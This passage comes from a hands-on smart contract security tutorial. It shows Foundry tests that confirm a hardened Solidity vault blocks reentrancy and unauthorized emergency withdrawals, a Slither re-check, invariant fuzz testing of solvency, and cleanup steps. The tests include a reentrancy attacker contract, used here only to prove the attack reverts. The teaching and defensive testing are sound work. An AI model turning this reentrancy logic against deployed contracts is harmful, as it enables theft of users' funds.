    }

    receive() external payable {
        if (address(vault).balance >= attackAmount) {
            vault.withdraw(attackAmount);
        }
    }
}

contract SecureVaultTest is Test {
    SecureVault public vault;
    address public admin = makeAddr("admin");
    address public alice = makeAddr("alice");
    address public eve = makeAddr("eve");

    function setUp() public {
        vm.prank(admin);
        vault = new SecureVault();

        vm.deal(alice, 10 ether);
        vm.deal(eve, 1 ether);

        vm.prank(alice);
        vault.deposit{value: 10 ether}();
    }

    function test_ReentrancyBlocked() public {
        SecureAttacker attacker = new SecureAttacker(address(vault));
        vm.deal(address(attacker), 1 ether);

        vm.expectRevert();
        attacker.attack{value: 1 ether}();

        // Vault funds are safe
        assertEq(address(vault).balance, 10 ether);
    }

    function test_UnauthorizedEmergencyWithdrawBlocked() public {
        vm.prank(eve);
        vm.expectRevert(
            abi.encodeWithSelector(
                IAccessControl.AccessControlUnauthorizedAccount.selector,
                eve,
                vault.ADMIN_ROLE()
            )
        );
        vault.emergencyWithdraw();

        // Vault funds are safe
        assertEq(address(vault).balance, 10 ether);
    }
}

What does this test file do?

The file defines two contracts:

  • SecureAttacker is a copy of the same reentrancy attack logic, but targeting SecureVault. Its receive() function still tries to re-enter withdraw() during the ETH transfer.
  • test_ReentrancyBlocked() uses vm.expectRevert() to assert that the attack transaction reverts. It then confirms the vault still holds 10 ETH.
  • test_UnauthorizedEmergencyWithdrawBlocked() asserts that when Eve (a non-admin) calls emergencyWithdraw(), the transaction reverts with the specific AccessControlUnauthorizedAccount error from OpenZeppelin.
  • Save test/SecureVaultTest.t.sol.
  • Run the tests to prove the vault is now secure:
forge test --match-contract SecureVaultTest -vvvv

You should see both tests pass. The trace output shows the reentrancy attempt reverting and the unauthorized call being rejected.

Tests failing or reverting unexpectedly?

  • If test_ReentrancyBlocked fails, confirm your SecureVault.sol has the nonReentrant modifier on both deposit() and withdraw().
  • If test_UnauthorizedEmergencyWithdrawBlocked fails, check that the setUp() function uses vm.prank(admin) before deploying. The deployer must be the admin for the role assignment to work.
  • If you see import errors for IAccessControl, verify your remappings.txt has the OpenZeppelin path set correctly.

Need more help? Help me debug my SecureVaultTest failures

Run Slither to confirm the fixes

The last step is to verify that Slither's static analysis no longer flags the vulnerabilities it found earlier.

  • Run Slither on the secured contract:
slither src/SecureVault.sol --solc-remaps "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"

You should see that the reentrancy-eth and access control findings from earlier are gone. Slither may still report informational items about OpenZeppelin internals, but the High and Medium severity issues are resolved.

What about the remaining Slither output?

Slither often reports Low or Informational findings on imported library code. These are known patterns in OpenZeppelin that the library maintainers have reviewed. In a real audit report, you would note these as acknowledged and accepted.

Slither still showing reentrancy findings?

  • Make sure you are targeting src/SecureVault.sol and not src/VulnerableVault.sol.
  • Confirm the withdraw() function updates balances[msg.sender] and totalDeposits before the msg.sender.call line.

Still stuck? Help me understand my Slither output on SecureVault

✔️ Awesome, I've got everything!

Great. Double check you have saved both src/SecureVault.sol and test/SecureVaultTest.t.sol.

ⓧ I'd like to double check the full code

Here is the complete src/SecureVault.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";

contract SecureVault is ReentrancyGuard, AccessControl {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");

    mapping(address => uint256) public balances;
    uint256 public totalDeposits;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(ADMIN_ROLE, msg.sender);
    }

    function deposit() external payable nonReentrant {
        require(msg.value > 0, "Must deposit something");
        balances[msg.sender] += msg.value;
        totalDeposits += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // FIX: Update state BEFORE external call (Checks-Effects-Interactions)
        balances[msg.sender] -= amount;
        totalDeposits -= amount;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        emit Withdraw(msg.sender, amount);
    }

    function emergencyWithdraw() external onlyRole(ADMIN_ROLE) {
        uint256 balance = address(this).balance;
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
        totalDeposits = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Here is the complete test/SecureVaultTest.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {SecureVault} from "../src/SecureVault.sol";
import {Attacker} from "../src/Attacker.sol";
import {IAccessControl} from "@openzeppelin/contracts/access/IAccessControl.sol";

contract SecureAttacker {
    SecureVault public vault;
    uint256 public attackAmount;

    constructor(address _vault) {
        vault = SecureVault(payable(_vault));
    }

    function attack() external payable {
        attackAmount = msg.value;
        vault.deposit{value: msg.value}();
        vault.withdraw(msg.value);
    }

    receive() external payable {
        if (address(vault).balance >= attackAmount) {
            vault.withdraw(attackAmount);
        }
    }
}

contract SecureVaultTest is Test {
    SecureVault public vault;
    address public admin = makeAddr("admin");
    address public alice = makeAddr("alice");
    address public eve = makeAddr("eve");

    function setUp() public {
        vm.prank(admin);
        vault = new SecureVault();

        vm.deal(alice, 10 ether);
        vm.deal(eve, 1 ether);

        vm.prank(alice);
        vault.deposit{value: 10 ether}();
    }

    function test_ReentrancyBlocked() public {
        SecureAttacker attacker = new SecureAttacker(address(vault));
        vm.deal(address(attacker), 1 ether);

        vm.expectRevert();
        attacker.attack{value: 1 ether}();

        // Vault funds are safe
        assertEq(address(vault).balance, 10 ether);
    }

    function test_UnauthorizedEmergencyWithdrawBlocked() public {
        vm.prank(eve);
        vm.expectRevert(
            abi.encodeWithSelector(
                IAccessControl.AccessControlUnauthorizedAccount.selector,
                eve,
                vault.ADMIN_ROLE()
            )
        );
        vault.emergencyWithdraw();

        // Vault funds are safe
        assertEq(address(vault).balance, 10 ether);
    }
}

Your vault is now hardened against both reentrancy and unauthorized access. Next up, you will add fuzz testing to prove these defenses hold under thousands of random inputs.

Fuzz and Invariant Testing

Your exploit tests proved that specific attacks fail against SecureVault. But what about attack vectors you haven't thought of?

In this step, you'll write invariant tests that let Foundry's fuzzer throw thousands of random deposit and withdraw sequences at your vault. Instead of testing one scenario, you'll define a property that must ALWAYS hold: the vault's ETH balance must never drop below the sum of tracked deposits.

In this step, get ready to:
  • Write a handler contract that constrains fuzz inputs to realistic deposit and withdraw amounts.
  • Write an invariant test asserting the vault's solvency property.
  • Run 500 fuzz iterations and verify the invariant holds under random sequences.
Write the VaultHandler contract

Foundry's invariant fuzzer calls random functions on a target contract with random inputs. Without a handler, the fuzzer would call deposit() with impossibly large values and withdraw() with amounts the handler doesn't have. The handler pattern wraps vault calls with bounded inputs so the fuzzer generates realistic sequences.

  • Create a new file called VaultInvariant.t.sol inside the test/ folder.
  • Add the following imports and VaultHandler contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {SecureVault} from "../src/SecureVault.sol";

contract VaultHandler is Test {
    SecureVault public vault;
    mapping(bytes4 => uint256) public calls;

    constructor(SecureVault _vault) {
        vault = _vault;
    }

    function deposit(uint256 amount) external {
        // Track how many times deposit is called
        calls[this.deposit.selector]++;
        // Constrain fuzz input to realistic range (1 wei to 10 ETH)
        amount = bound(amount, 1, 10 ether);
        // Give this contract ETH to deposit
        vm.deal(address(this), amount);
        vault.deposit{value: amount}();
    }

    function withdraw(uint256 amount) external {
        // Track how many times withdraw is called
        calls[this.withdraw.selector]++;
        uint256 balance = vault.balances(address(this));
        // Skip if nothing to withdraw
        if (balance == 0) return;
        // Constrain to actual balance
        amount = bound(amount, 1, balance);
        vault.withdraw(amount);
    }

    // Accept ETH from vault withdrawals
    receive() external payable {}
}

What does this code do?

The VaultHandler sits between the fuzzer and the vault. It exposes the same deposit() and withdraw() interface, but constrains the random inputs to valid ranges.

  • bound(amount, 1, 10 ether) clamps the fuzzer's random value to a realistic deposit range.
  • The calls mapping tracks how many times each function is called, letting you verify the fuzzer actually exercises both paths.
  • vm.deal(address(this), amount) gives the handler fresh ETH for each deposit. Without this, deposits after the first would fail.

Why a handler instead of calling the vault directly?

If the fuzzer called SecureVault directly with random inputs, almost every call would revert (insufficient balance, zero-value deposit). The fuzzer would waste its run budget on invalid paths.

The handler ensures every call is valid, so all 500 runs x 50 depth calls actually exercise meaningful state transitions.

Write the invariant test contract

Now you need the test contract that deploys the vault and handler, tells the fuzzer which contract to target, and defines the property that must always hold.

  • In test/VaultInvariant.t.sol, add the following contract below the VaultHandler:
contract VaultInvariantTest is Test {
    SecureVault public vault;
    VaultHandler public handler;

    function setUp() public {
        vault = new SecureVault();
        handler = new VaultHandler(vault);

        // Tell the fuzzer to only call functions on the handler
        targetContract(address(handler));
    }

    /// forge-config: default.invariant.runs = 500
    /// forge-config: default.invariant.depth = 50
    /// forge-config: default.invariant.fail-on-revert = false
    function invariant_Solvency() public view {
        // The vault must ALWAYS have at least as much ETH as it owes depositors
        assertGe(
            address(vault).balance,
            vault.totalDeposits()
        );
    }
}

What does this code do?

  • targetContract(address(handler)) restricts the fuzzer to only call the handler's functions. Without this, the fuzzer would also randomly call setUp() and other test utilities.
  • The invariant_ prefix is how Foundry identifies invariant test functions. Any function starting with invariant_ is checked after every fuzz sequence.
  • assertGe(address(vault).balance, vault.totalDeposits()) asserts the solvency property: the vault's actual ETH is always greater than or equal to what it owes.
  • The /// forge-config: comments are inline configuration. They set 500 runs (fuzz iterations), depth 50 (calls per iteration), and allow reverts without failing.

What is the solvency invariant?

An invariant is a property that must hold true regardless of what operations are performed. The solvency invariant states: "the vault always has enough ETH to pay back all depositors."

If any sequence of deposits and withdrawals causes the vault's actual balance to drop below totalDeposits, the vault is insolvent. The fuzzer tries thousands of random sequences to find one that breaks this property.

  • Save test/VaultInvariant.t.sol.

Seeing a compilation error?

  • Make sure VaultInvariantTest is defined AFTER VaultHandler in the same file. The test contract references the handler, so it must come second.
  • Check that your import path says ../src/SecureVault.sol (not VulnerableVault).
  • Verify the constructor parameter type is SecureVault _vault (not address).

Help me debug my VaultInvariant.t.sol compilation error

✔️ Awesome, I've got everything!

Great. Double check you've saved your file before running the tests.

ⓧ I'd like to double check the full code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {SecureVault} from "../src/SecureVault.sol";

contract VaultHandler is Test {
    SecureVault public vault;
    mapping(bytes4 => uint256) public calls;

    constructor(SecureVault _vault) {
        vault = _vault;
    }

    function deposit(uint256 amount) external {
        calls[this.deposit.selector]++;
        amount = bound(amount, 1, 10 ether);
        vm.deal(address(this), amount);
        vault.deposit{value: amount}();
    }

    function withdraw(uint256 amount) external {
        calls[this.withdraw.selector]++;
        uint256 balance = vault.balances(address(this));
        if (balance == 0) return;
        amount = bound(amount, 1, balance);
        vault.withdraw(amount);
    }

    receive() external payable {}
}

contract VaultInvariantTest is Test {
    SecureVault public vault;
    VaultHandler public handler;

    function setUp() public {
        vault = new SecureVault();
        handler = new VaultHandler(vault);

        targetContract(address(handler));
    }

    /// forge-config: default.invariant.runs = 500
    /// forge-config: default.invariant.depth = 50
    /// forge-config: default.invariant.fail-on-revert = false
    function invariant_Solvency() public view {
        assertGe(
            address(vault).balance,
            vault.totalDeposits()
        );
    }
}
Review the invariant configuration

Your foundry.toml already has an [invariant] section from earlier setup. The inline /// forge-config: comments in the test override these values per-function, but both are set to the same values here.

What do the invariant settings mean?

  • runs = 500 means the fuzzer will generate 500 separate random sequences.
  • depth = 50 means each sequence consists of up to 50 random function calls to the handler.
  • fail_on_revert = false means the fuzzer won't treat a reverted call as a test failure. This is important because some random withdraw amounts will naturally revert.

Together, this means 500 iterations x 50 calls = up to 25,000 random deposit/withdraw operations testing your vault's solvency.

Run the invariant tests
  • Run the invariant test suite by running this command:
forge test --match-contract VaultInvariantTest -vvvv
  • You should see output confirming the invariant holds across all 500 runs. Look for a line showing invariant_Solvency with a PASS result.

What should I see?

The -vvvv flag shows the full trace output. You'll see each fuzz run calling deposit() and withdraw() with random bounded values, followed by the solvency assertion passing.

The test takes a few seconds to complete because it's running hundreds of randomized sequences. A passing result means no sequence of operations could make the vault insolvent.

Tests failing or taking too long?

  • If you see a solvency assertion failure, check that your SecureVault.sol updates state before the external call. The Checks-Effects-Interactions pattern must be correct.
  • If tests hang, try reducing runs to 100 in the inline config comments to verify the test works, then restore to 500.
  • If you see "no functions to fuzz", make sure targetContract(address(handler)) is in your setUp() function.

Help me debug my invariant test failure

Your SecureVault has passed the ultimate stress test. After 500 rounds of randomized deposits and withdrawals, the solvency invariant held every time. You now have a complete audit workflow: exploit, fix, static analysis, and fuzz testing. Next up, the Secret Mission challenges you to exploit a more subtle vulnerability in share-based vaults.

Secret mission

Flash Loan Share Price Manipulation

Your vault uses simple balance tracking. Real DeFi protocols use shares-based accounting to represent proportional ownership. This introduces a devastating attack vector: the first-depositor attack. Can you exploit it and propose a fix?

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely locally, so there are no ongoing costs. Decide whether to keep your resources for future reference, or delete them entirely.

Resources you used:

  • The vulnerable-vault project folder on your Desktop (Solidity contracts, tests, config).
  • Foundry toolchain (forge, cast, anvil, chisel) installed in ~/.foundry.
  • Slither (slither-analyzer pip package).

Keep everything running

No action needed. Choose this if you plan to continue experimenting with the contracts or use them as a reference for future audits.

  • Your vulnerable-vault folder stays on your Desktop.
  • Foundry and Slither remain installed and available for other projects.

Pause - I'll come back to this later

Nothing to pause. All resources are local files and CLI tools with no running processes or active services.

  • Your project folder and installed tools stay in place until you return.

Delete - I don't want to use this again

Remove all project resources and tools to start fresh.

  • Delete the project folder by running this in your terminal (macOS/Linux) or Git Bash (Windows):
cd ~/Desktop
rm -rf vulnerable-vault
  • Uninstall Slither by running:
pip uninstall slither-analyzer
  • Uninstall Foundry by removing the ~/.foundry directory:
rm -rf ~/.foundry
  • Remove the Foundry PATH entry from your shell config (.bashrc, .zshenv, or equivalent). Open the file and delete the line that adds Foundry to your PATH.

Nice Work!

Nice Work!

You just completed a full smart contract security audit workflow. You went from finding vulnerabilities to exploiting them, fixing them, and proving the fixes hold under adversarial conditions.

You've learned how to:

  • Write exploit proof-of-concept tests in Foundry that prove reentrancy and access control vulnerabilities are exploitable in a DeFi vault.
  • Secure a vulnerable contract using OpenZeppelin ReentrancyGuard and AccessControl, verified by Slither static analysis.
  • Build invariant tests with the handler pattern to verify a vault's solvency property holds across hundreds of randomized deposit and withdraw sequences.
  • Secret Mission: Exploited share price manipulation via the first-depositor attack and documented the dead-shares mitigation.

Ready to quiz yourself?